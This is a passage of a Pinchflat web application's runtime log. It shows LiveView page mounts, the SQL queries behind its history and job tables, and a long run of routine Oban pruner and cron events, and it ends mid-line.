"https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 11:31:43.850 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "aNG9kRj2094imvJiwZGalWNv", "media_state" => "downloaded"} 11:31:43.851 [debug] QUERY OK source="media_items" db=0.8ms idle=171.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 11:31:43.852 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=117.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 11:31:43.854 [debug] QUERY OK source="sources" db=0.4ms idle=119.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 1] 11:31:43.854 [debug] Replied in 4ms 11:31:43.857 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "aNG9kRj2094imvJiwZGalWNv", "media_state" => "pending"} 11:31:43.857 [debug] QUERY OK source="media_items" db=0.2ms idle=123.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 11:31:43.858 [debug] QUERY OK source="media_items" db=0.3ms idle=124.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 11:31:43.858 [debug] QUERY OK source="sources" db=0.0ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:31:43.858 [debug] Replied in 1ms 11:31:43.859 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "aNG9kRj2094imvJiwZGalWNv"} 11:31:43.860 [debug] QUERY OK source="tasks" db=0.2ms idle=7.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 11:31:43.860 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 11:31:43.860 [debug] Replied in 823µs 11:31:49.694 [info] {"source":"oban","duration":1244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:00.060 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:32:19.696 [info] {"source":"oban","duration":1692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:49.699 [info] {"source":"oban","duration":1639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:00.060 [info] {"source":"oban","duration":213,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:33:19.702 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:49.704 [info] {"source":"oban","duration":1712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:00.062 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:34:19.707 [info] {"source":"oban","duration":1775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:49.710 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:00.063 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:35:19.712 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:49.714 [info] {"source":"oban","duration":1753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:00.064 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:36:19.717 [info] {"source":"oban","duration":1680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:49.719 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:00.065 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:37:19.720 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:49.722 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:00.066 [info] {"source":"oban","duration":220,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:38:19.724 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:49.726 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:00.067 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:39:19.729 [info] {"source":"oban","duration":1743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:49.732 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:00.068 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:40:19.734 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:49.736 [info] {"source":"oban","duration":1665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:00.069 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:41:19.738 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:49.741 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:00.070 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:42:19.743 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:49.745 [info] {"source":"oban","duration":1847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:00.071 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:43:19.747 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:49.748 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:00.072 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:44:19.749 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:49.750 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:00.073 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:45:19.751 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:49.752 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:00.074 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:46:19.753 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:49.754 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:00.075 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:47:19.755 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:49.756 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:00.076 [info] {"source":"oban","duration":510,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:48:19.757 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:49.758 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:00.077 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:49:19.759 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:49.761 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:00.078 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:50:19.762 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:49.763 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:00.079 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:51:19.764 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:49.765 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:00.080 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:52:19.766 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:49.767 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:00.081 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:53:19.768 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:49.769 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:00.082 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:54:19.770 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:49.771 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:00.083 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:55:19.772 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:49.773 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:00.084 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:56:19.774 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:49.775 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:00.085 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:57:19.776 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:49.778 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:00.086 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:58:19.779 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:49.780 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:00.087 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:59:19.781 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:49.782 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:00.088 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:00:19.783 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:49.784 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:00.089 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:01:19.785 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:49.786 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:00.090 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:02:19.787 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:49.788 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:00.091 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:03:19.789 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:49.790 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:00.092 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:04:19.791 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:49.792 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:00.093 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:05:19.793 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:49.794 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:00.094 [info] {"source":"oban","duration":219,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:06:19.795 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:49.796 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:00.095 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:07:19.797 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:49.798 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:00.096 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:08:19.799 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:49.800 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:00.097 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:09:19.801 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:49.802 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:00.098 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:10:19.803 [info] {"source":"oban","duration":873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:49.805 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:00.099 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:11:19.806 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:49.807 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:00.100 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:12:19.808 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:49.809 [info] {"source":"oban","duration":955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:00.102 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:13:19.811 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:49.812 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:00.103 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:14:19.813 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:49.814 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:00.104 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:15:19.815 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:49.817 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:00.105 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:16:19.818 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:49.819 [info] {"source":"oban","duration":1125,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:00.105 [info] {"source":"oban","duration":208,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:17:19.821 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:49.822 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:00.107 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:18:19.824 [info] {"source":"oban","duration":1598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:49.825 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:00.108 [info] {"source":"oban","duration":222,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:19:19.827 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:49.829 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:00.109 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:20:19.830 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:49.832 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:00.110 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:21:19.833 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:49.835 [info] {"source":"oban","duration":1665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:00.110 [info] {"source":"oban","duration":208,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:22:19.836 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:49.838 [info] {"source":"oban","duration":839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:00.112 [info] {"source":"oban","duration":220,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:23:19.840 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:49.843 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:00.113 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:24:19.845 [info] {"source":"oban","duration":1396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:49.847 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:00.114 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:25:19.849 [info] {"source":"oban","duration":1633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:49.851 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:00.115 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:26:19.852 [info] {"source":"oban","duration":1085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:49.855 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:00.116 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:27:19.857 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:49.858 [info] {"source":"oban","duration":1000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:00.118 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:28:19.860 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:49.861 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:00.119 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:29:19.863 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:49.864 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:00.120 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:30:19.866 [info] 